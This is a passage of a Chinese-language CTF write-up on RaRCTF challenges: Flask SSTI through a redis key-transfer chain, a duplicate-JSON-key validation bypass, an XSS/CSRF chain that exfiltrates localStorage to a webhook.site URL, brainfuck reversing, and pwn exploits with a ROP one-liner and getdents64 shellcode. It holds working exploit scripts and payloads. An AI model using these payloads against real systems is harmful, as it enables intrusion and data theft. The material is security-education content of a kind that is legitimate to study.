f.write(request.json.get("bio"))
return ""


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

仔細看一下可以知道它會為每個 user 新開一個 redis server,然後 user 可以用 adddata 去設定 key value,還有 keytransfer 可以指定 host portkey 把你自己的 redis server 上某個 key 的值轉移到另一個 redis server 上面。

目標顯然就是 redis_users:6379,改這個的話只能修改一個 user 所對應到的 port 而已,那麼這樣能做什麼呢? 可以注意到它的 port 會被拿去接 url,所以如果把 port 改成 ../bio/8763,然後呼叫 adddata 的時候設定 bio 似乎就能繞過它的 replace 直接寫入 bio,然後就能 SSTI。

不過要達成這件事並沒這麼簡單,我是透過兩個 user 和一些固定的流程來達成的:

  1. 新增主 user (maple),記錄下 port
  2. 新增副 user (tmp)
  3. tmp adddata: maple = ../bio/{port}
  4. tmp keytransfer: host = redis_users , port = 6379 , key = maple,這樣 maple 的 port 就變成了 ../bio/{port}
  5. maple adddata: bio = {SSTI_PAYLOAD},成功寫入 SSTI 的 bio
  6. tmp adddata: maple = {port}
  7. tmp keytransfer: host = redis_users , port = 6379 , key = maple,把 maple 的 port 恢復原狀之後才能正常存取 port
  8. maple 觸發 SSTI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import httpx
import asyncio

host = "https://maas2.rars.win/"


async def main():
async with httpx.AsyncClient() as c1, httpx.AsyncClient() as c2:
r = await c1.post(f"{host}/notes/register", data={"username": "maple"})
port = r.text.split("Profile: ")[1].split("</title>")[0]
print(port)
await c2.post(
f"{host}/notes/register", data={"username": "tmp"}, allow_redirects=False
)

await c2.post(
f"{host}/notes/profile",
data={"mode": "adddata", "key": "maple", "value": f"../bio/{port}"},
allow_redirects=False,
)
await c2.post(
f"{host}/notes/profile",
data={
"mode": "keytransfer",
"host": "redis_users",
"port": "6379",
"key": "maple",
},
allow_redirects=False,
)
# now maple port = ../bio/{port}

await c1.post(
f"{host}/notes/profile",
data={
"mode": "adddata",
"key": "bio",
"value": '{{g.pop.__globals__.__builtins__.open("/flag.txt").read()}}',
},
allow_redirects=False,
)
# write to bio without filter

await c2.post(
f"{host}/notes/profile",
data={"mode": "adddata", "key": "maple", "value": str(port)},
allow_redirects=False,
)
await c2.post(
f"{host}/notes/profile",
data={
"mode": "keytransfer",
"host": "redis_users",
"port": "6379",
"key": "maple",
},
allow_redirects=False,
)
# restore maple port to original port

r = await c1.get(f"{host}/notes/profile")
print(r.text)


asyncio.run(main())

Microservices As A Service 3 / MAAS 3.5: User Manager

這題第二層 python 服務 manager 會接受第一層 app 的請求,和 redis manager_users 互動,可以註冊/登入之類的。

登入之後每個 user 都有個 uid,有個功能是修改任意 uid 大於等於自己 uid 的 user 的密碼,這部分會和第三層的一個 golang 服務溝通,裡面的資料也是存在 manager_users 裡面的。

拿到 flag 的條件是以 admin (uid = 0) 登入,但 uid 都是遞增的,所以你自己的 uid 起碼都會比 0 要大。

它做檢查的部分是在第一層 app 的這個地方檢查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route("/manager/update", methods=["POST"])
def manager_update():
print('mid', session['managerid'], file=sys.stderr)
schema = {"type": "object",
"properties": {
"id": {
"type": "number",
"minimum": int(session['managerid'])
},
"password": {
"type": "string",
"minLength": 10
}
}}
try:
jsonschema.validate(request.json, schema)
except jsonschema.exceptions.ValidationError:
return jsonify({"error": f"Invalid data provided"})
return jsonify(requests.post("http://manager:5000/update",
data=request.get_data()).json())

其中的 int(session['managerid']) 就是你自身的 uid。第二層的 /update 是很單純的把資料直接 pas 到下一層 golang 去而已,沒有任何改變。

這個突然從 python 變成 golang 的這回事讓我想到了 json 在出現重複 key 的時候是沒有標準規定要怎麼處裡的,例如 python 中 json.loads('{"a": 1, "a": 2}')['a'] 的結果是 2

而第三層服務的 json 使用的是 github.com/buger/jsonparser,經過測試可以發現當重複 key 出現的時候會取前面的 key。

所以方法就是讓 json 出現重複的 key,就可以成功繞過 python 的檢查,然後讓後端 golang 把 uid = 0 的 user 的密碼給改掉,所以就能用 admin 登入拿到 flag。

在瀏覽器的 console 中執行這個即可:

1
2
3
4
5
6
7
8
await fetch("/manager/update", {
"headers": {
"content-type": "application/json"
},
"body": "{\"id\":0,\"id\":2,\"password\":\"aaaaaaaaaaaaaaaaaaa\"}",
"method": "POST",
"credentials": "include"
}).then(r=>r.json())

上面的解法是正常的 intended solution,可以解掉原本的以及 patch 之後的 3.5 版。它 3.5 版所修改的地方是 manager/app.py/update endpoint 多加了一個 jsonschema 的 check 而已。這樣讓人很容易想到該不會是有方法繞過前端的 app 直接對後台 request? 事實上也真是如此,從它的 docker-compose.yml 中可以看到它 calculator notes manager 都屬於在一個 level-1 的 subnet 中,而 calculator 也就是第一題的服務是可以 RCE 的。所以肯定是有人用那題的 RCE 對第三題發送 request 作為 unintended solution。

而它 3.5 的 patch 是這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route("/update", methods=["POST"])
def update():
uid = int(request.args['id'])
schema = {"type": "object",
"properties": {
"id": {
"type": "number",
"minimum": uid
},
"password": {
"type": "string",
"minLength": 10
}
}}
payload = json.loads(request.get_data())
try:
jsonschema.validate(payload, schema)
except jsonschema.exceptions.ValidationError as e:
return jsonify({"error": f"Invalid data provided"})
return jsonify(requests.post("http://manager_updater:8080/",
data=request.get_data()).json())

可以看到它會檢查 ?id= 的參數,而第一層 app 的地方也有對此增加個參數。不過這其實還是能用很簡單的方法繞,就是在從第一題的 request 時多加上一個 ?id=0 即可,或是另一個方法是注意到它第三層的 golang manager_updater 也是在 level-1 之中,直接 request 它也可以。

還有其實第二題也可以用這個 unintended 解,直接發送 request 給 notes 的 /render 發送 SSTI payload 即可...

Secure Storage

這題有兩個開在不同 domain 上的頁面,securestorage.rars.winsecureenclave.rars.win

enclave 的頁面上面的 js 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
console.log("secure js loaded...");
const z = (s,i,t=window,y='.')=>s.includes(y) ? z(s.substring(s.indexOf(y) + 1), i, t[s.split(y).shift()]) : t[s] = i;
var user = "";
const render = ()=>{
document.getElementById("user").innerText = user;
document.getElementById("message").innerText = localStorage.message || "None set";
document.getElementById("message").style.color = localStorage.color || "black";
}
window.onmessage = (e)=>{
let {origin, data} = e;
if (origin !== document.getElementById("site").innerText || !Array.isArray(data))
return;
z(...data.map(d=>`${d}`));
render();
}

其中的 document.getElementById("site").innerTexthttps://securestorage.rars.win。所以它可以接受來自 securestorage.rars.winpostMessage 一些值。

storage 則是個可以註冊、登入的服務,還有個 submit url 給 XSS Bot 的功能。登入之後有個頁面中有 iframe,裡面顯示的是 enclave 的內容,另外還有一些給使用者輸入的 UI,而 storage 那個頁面上的 js 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
window.onload = ()=>{
let storage = document.getElementById("secure_storage");
let user = document.getElementById("user").innerText;
storage.contentWindow.postMessage(["user", user], storage.src);
}
const changeMsg = ()=>{
let storage = document.getElementById("secure_storage");
storage.contentWindow.postMessage(["localStorage.message", document.getElementById("message").value], storage.src);
}
const changeColor = ()=>{
let storage = document.getElementById("secure_storage");
storage.contentWindow.postMessage(["localStorage.color", document.getElementById("color").value], storage.src);
}

可以看到它會利用 postMessage 去設定 messagecolor 等等的東西,然後 iframe 裡面的 enclave 就會更新內容。

首先目標要達成 XSS,仔細去讀 source code 之後可以在 views/layout.hbs 中看到這個:

1
2
3
4
5
6
7
8
9
10
{{#if info}}
<div class="alert alert-primary container mt-4" role="alert">
{{{info}}}
</div>
{{/if}}
{{#if error}}
<div class="alert alert-danger container mt-4" role="alert">
{{{error}}}
</div>
{{/if}}

在 Handlebars 之中,{{ }} 是會把裡面的內容給 html escape 的意思,而 {{{ }}} 是不要 escape 的意思。所以如果 info 可控那就能 XSS 了。繼續 trace 下去能在 routes/api.js 裡面的 /register/login 的地方看到這行:

1
req.session.info = `Logged in as ${user} successfully`;

可以知道 username 可以 XSS,自己測試一下也能成功。但是這個訊息是 flash message,在註冊或是登入後只會顯示一次,所以要透過讓 XSS Bot 去其他網站的頁面用 CSRF 登入,然後就能把這個 Self-XSS 變成 XSS 了。

下個問題是 XSS storage 頁面之後要對 iframe postMessage 什麼東西,目標是要拿到 bot 在 enclave 頁面上的 localStorage.message。看一下 enclave 上面的 code,可以發現你可以對 window 上面任意的 attribute 設定任意的 string 值,但是 enclave 本身又有嚴格的 CSP 所以無法直接在上面觸發 XSS。

1
default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com;

由於 enclave 上面的 z 函數在呼叫之前會把你的參數都轉換成 string,想得到 localStorage.message 也是不可能的。所以我的想法是否有什麼方法可以讓這兩個不同的子網域溝通呢? 例如共通存取 localStorage 之類的。

查資料後發現 html5 的 localStorage 是完全沒辦法跨網域存取的,不過看到一個 document.domain 的東西就讓我想到的解題的方法了。

方法是先用 postMessage 把 enclave 頁面上的 document.domain 設為 rars.win,然後自己 storage 頁面的 document.domain 也是要設為 rars.win。此時去存取 iframe 裡面的 DOM 的時候就不會有存取錯誤了,因為兩邊的 domain 互相吻合,所以這樣就能透過 DOM 拿到 flag,然後再自己傳回去即可。

payload 的用法是在自己的一個頁面上弄以下的內容:

1
2
3
4
5
6
7
8
9
10
11
<form method=POST action=https://securestorage.rars.win/api/login id=form>
<input name=user id=user>
<input name=pass id=pass>
<input type=submit value=login>
</form>
<script>
const payload = "<script>window.addEventListener('load',()=>{secure_storage.contentWindow.postMessage(['document.domain','rars.win'],'*');document.domain='rars.win';setTimeout(()=>{fetch('https://webhook.site/496e457e-0a36-40cd-9cc1-2aaf68c9ec32?flag='+encodeURIComponent(secure_storage.contentWindow.message.textContent))},500)})</"+"script>" // assume payload user is already registered
user.value = payload
pass.value = payload
form.submit()
</script>

然後先用 payload 的內容去註冊一個帳號,之後把自己的頁面的 url submit 給 XSS Bot,然後它就會到你的頁面來用 CSRF 登入,之後觸發 payload 中的 XSS 去改兩個頁面的 document.domain,然後就可以把 flag 傳回到自己的 server 了。

另外我在出題者的 Write Up 中有看到一個很有趣的 unintended solution,payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
window.addEventListener("load", () => {
let storage = document.getElementById("secure_storage");
storage.contentWindow.postMessage(
[
"document.body.innerHTML",
"<div id=user></div><div id=message></div><div id=site>https://securestorage.rars.win</div><iframe id=frame src='https://secureenclave.rars.win/assets/LICENSE.txt'></iframe>"
]
, "*"
);
setTimeout(() => {
storage.contentWindow.postMessage(
[
"frame.contentWindow.document.body.innerHTML",
"<img src=x onerror='navigator.sendBeacon(webhook, localStorage.message)' />"
]
, "*"
);
}, 1500);
})

簡單來說它先設定 document.body.innerHTML,因為 CSP 沒有設 object-src 的原因所以可以放 iframe。接下來是它的 CSP 並不是用 http header 在每個檔案上都放的,而是直接放在 html 中的 <meta> 中而已,所以就先找到伺服器上一個沒有 CSP 的頁面如 /assets/LICENSE.txt。載入之後用 frame.contentWindow.document.body.innerHTML 的方法直接去改它的 html 達成 XSS,因為那個頁面沒有 CSP 所以可以成功,而 flag 是放在 localStorage 之中的,所以只要是同個網域的頁面也都能存取到。

rev

boring flag checker

這題是唯一我有在比賽中解的 rev。

提供的檔案有一個 binary 還有個 prog.bin,執行它之後它會從 prog.bin 讀東西,然後會有個 flag checker 讓你輸入 flag 去檢查。

打開 IDA 簡單讀一下可以看出它是把 binary 的各個 byte mod 8 之後的值 map 到 brainfuck 的 8 個指令,所以可以簡單用 python 寫個轉換器輸出成標準的 brainfuck,之後拿其他的 brainfuck interpreter 去執行可以發現有一樣的效果,所以代表轉換完全沒問題。

之後繼續用 python 繼續把 brainfuck 翻譯到 C,然後編譯之後也能正常運作。之後就自己想辦法觀察 C 程式,可以知道它在最後面那段有個地方是判斷最後結果輸出 success 或是 failure 的地方,在那邊我把 pointer 的 index 輸出了出來,是 1。

之後我再用把 to C 的轉換器加上了 if (ptr == 1) debug(__LINE__);debug 裡面會輸出 cells 的部分結果。接下來透過改變輸入並觀察的 cell 的變化可以看到一個關鍵,某行的 cells output 的會根據輸入大幅變化,經過測試會發現它每兩個字元是正確的話就會多兩個 0 的 cell。

所以就兩兩字元直接去爆破自己重新編譯的 flag checker,之後就能拿到 flag。

python to C 的轉換器,包含了要在適當地方輸出 cell output 的東西都有加:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
with open("prog.bin", "rb") as f:
prog = f.read()

bf = ""


for x in prog:
c = x % 8
if c == 0: # >
bf += ">"
elif c == 1: # ]
bf += "]"
elif c == 2: # <
bf += "<"
elif c == 3: # [
bf += "["
elif c == 4: # ,
bf += ","
elif c == 5: # .
bf += "."
elif c == 6: # -
bf += "-"
elif c == 7: # +
bf += "+"

print(bf)

with open("bf.c", "w") as f:

def w(x):
return f.write(x + "\n")

w("#include <stdio.h>")
w("#include <unistd.h>")
w("char d[1000000000]={};")
w("char ptr=0;")
w("char inp[100];")
w("char inp_i=0;")
w("int debug_flag = 1;")
w('void debug(int line){ if(!debug_flag) return; printf("line = %4d ", line); for(int i=0;i<70;i++) {printf("%04d ", d[i]);} puts(""); debug_flag = 0; }')
w('char gc(){ if(!inp_i){scanf("%s",inp);} return inp[inp_i++]; }')
w("int main(){")
for c in bf:
if c == ".":
w("putchar(d[ptr]);")
elif c == ",":
w("d[ptr]=gc();")
elif c == "<":
w("ptr--;")
elif c == ">":
w("ptr++;")
elif c == "+":
w("d[ptr]++;")
elif c == "-":
w("d[ptr]--;" + "\nif(ptr==1)debug(__LINE__);")
elif c == "[":
w("while(d[ptr]){")
elif c == "]":
w("}")
w("return 0;")
w("}")


import os

os.system("gcc bf.c -o -Ofast bf")

輸出出來的 ./bf 只要每多兩個字元是正確的,就會多兩個 0,按照這個規則寫的 multiprocess flag cracker:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from itertools import product, tee
from collections import deque
import string
from concurrent.futures import ProcessPoolExecutor


def get_zeros(inp: str):
# Run gen.py to generate the binary
context.log_level = "error"
io = process("./bf")
io.sendline(inp.encode())
io.recvuntil(b"line = ")
r = io.recvlineS().count("0000")
io.kill()
return r


chrs = string.printable

q = deque()
q.append("r")
while len(q) > 0:
cur = q.popleft()
print(cur)
if cur.endswith("}"):
break
dt = {}
g1, g2 = tee(cur + a + b for a, b in product(chrs, repeat=2))
with ProcessPoolExecutor(max_workers=16) as executor:
for inp, z in zip(g1, executor.map(get_zeros, g2)):
dt[inp] = z
mx = max(dt.values())
for k, v in dt.items():
if v == mx:
q.append(k)

# rarctf{1_h0p3_y0u-3njoy3d_my-Br41nF$&k_r3v!_d387171751}

它可以在大概 5 分鐘內跑出來。

pwn

archer

可以輸入一個 address,然後它會把指標加上一個常數之後把目標位置的 DWORD 值設為 0。得到 shell 的條件是要把一個 global 的 variable 改掉,所以就算好 address 之後輸入進去即可。我算出來的是 -0xfbf98

ret2winrars

這題就很單純的 buffer overflow ret,目標是裡面的一個 function,它會直接去讀 flag 出來。在 local 測試的時候只要 return 一次即可,不過在 remote 會失敗,大概 remote 有 stack alignment 的要求,所以再讓它多 ret 一次之後再到那個目標 function 就可以了。

1
echo -n 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\x90\x11\x40\0\0\0\0\0\x62\x11\x40\0\0\0\0\0\n' | nc 193.57.159.27 33769

notsimple

這題它先給你了 stack address,然後有 buffer overflow,NX 也都沒開,所以很明顯是 ret2shellcode。不過問題在於它有 seccomp,用 seccomp-tools dump 可以看到這個:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x09 0x00 0x40000000 if (A >= 0x40000000) goto 0013
0004: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0013
0005: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0013
0006: 0x15 0x06 0x00 0x00000101 if (A == openat) goto 0013
0007: 0x15 0x05 0x00 0x00000003 if (A == close) goto 0013
0008: 0x15 0x04 0x00 0x00000055 if (A == creat) goto 0013
0009: 0x15 0x03 0x00 0x00000086 if (A == uselib) goto 0013
0010: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0013
0011: 0x15 0x01 0x00 0x0000003a if (A == vfork) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

簡單來說是沒辦法 get shell。而 flag 的位置也比較特別,不是放在一個檔案裡面,而是放在同個資料夾下的某個檔案的名稱上面。所以目標是要實現類似 ls 的 shellcode。

首先因為它的 buffer 比較小,我先給它一個 shellcode 讓它用 read 讀入更長的 shellcode 之後 jump 過去,這樣就能寫任意長度的 shellcode 了。

之後 strace ls 可以看到它用的是 getdents64 的 syscall,所以就在 pwntools 的輔助下去呼叫那個 syscall 即可獲得 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

# io = process("./notsimple")
io = remote("193.57.159.27", 47247)
io.recvuntil(b"leaking! ")
addr = int(io.recvlineS().strip(), 16)

# read shellcode and jump onto it
run_sc = asm(
"""
mov rsi, rsp
add rsi, 0x100
xor rdi, rdi
xor rax, rax
mov rdx, 0x1000
syscall
push rsi
ret
"""
)
print(len(run_sc))
print(hex(addr))
io.sendlineafter(b"> ", run_sc + b"a" * (88 - len(run_sc)) + p64(addr))
sc = asm(
shellcraft.open(b".", 0x1000)
+ "mov rbx, rsp\nsub rbx, 0x300\n"
+ shellcraft.syscall(0xD9, 3, "rbx", 0x600)
+ shellcraft.syscall(1, 1, "rbx", 0x600)
+ "\nmov rdi, rax\nmov rax, 0x3c\nsyscall\n"
)
io.sendline(sc)
io.interactive()

# rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515}